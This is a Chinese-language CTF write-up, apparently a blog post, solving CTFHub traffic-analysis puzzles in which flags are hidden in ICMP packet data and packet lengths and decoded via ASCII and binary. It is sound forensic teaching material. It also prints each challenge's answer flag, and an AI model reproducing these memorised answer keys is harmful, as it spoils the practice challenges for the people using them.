分组字节流搜索字符串CTFHUB或者flag,在众多结果中的某一个里面记录了flag

image-20221205145753840

ctfhub{5f284ecc279d2cbd1af258bb53c7a5f6}

ICMP-Data

观察了一下数据包,发现多个包的字节流的唯一区别是中间的字符

image-20221205150251974image-20221205150302763

而查看多个之后发现前几个拼起来恰好是ctfhub,所以猜测把全部拼起来就是flag

ctfhub{c87eb99796406ac0b}

ICMP-Length

题目提示ping包的大小有些奇怪,所以应该和长度有关系

把每个reply包的长度记录一下

1
99 116 102 104 117 98 123 97 99 98 54 53 57 102 48 50 51 125

把10进制转ascii码,可以得到flag

ctfhub{acb659f023}

ICMP-LengthBinary

发现ICMP包的长度不是74就是106,记录一下

1
74的ascii是J,106是j
1
10011100 10001011 10011001 10010111 10001010 10011101 10000100 11001111 11001011 10011010 10011001 10011010 10011011 11001110 10011010 11001111 11001010 10000010

这里弄反了,74是0,106是1,最后把二进制转ascii码就能得到flag

ctfhub{04efed1e05}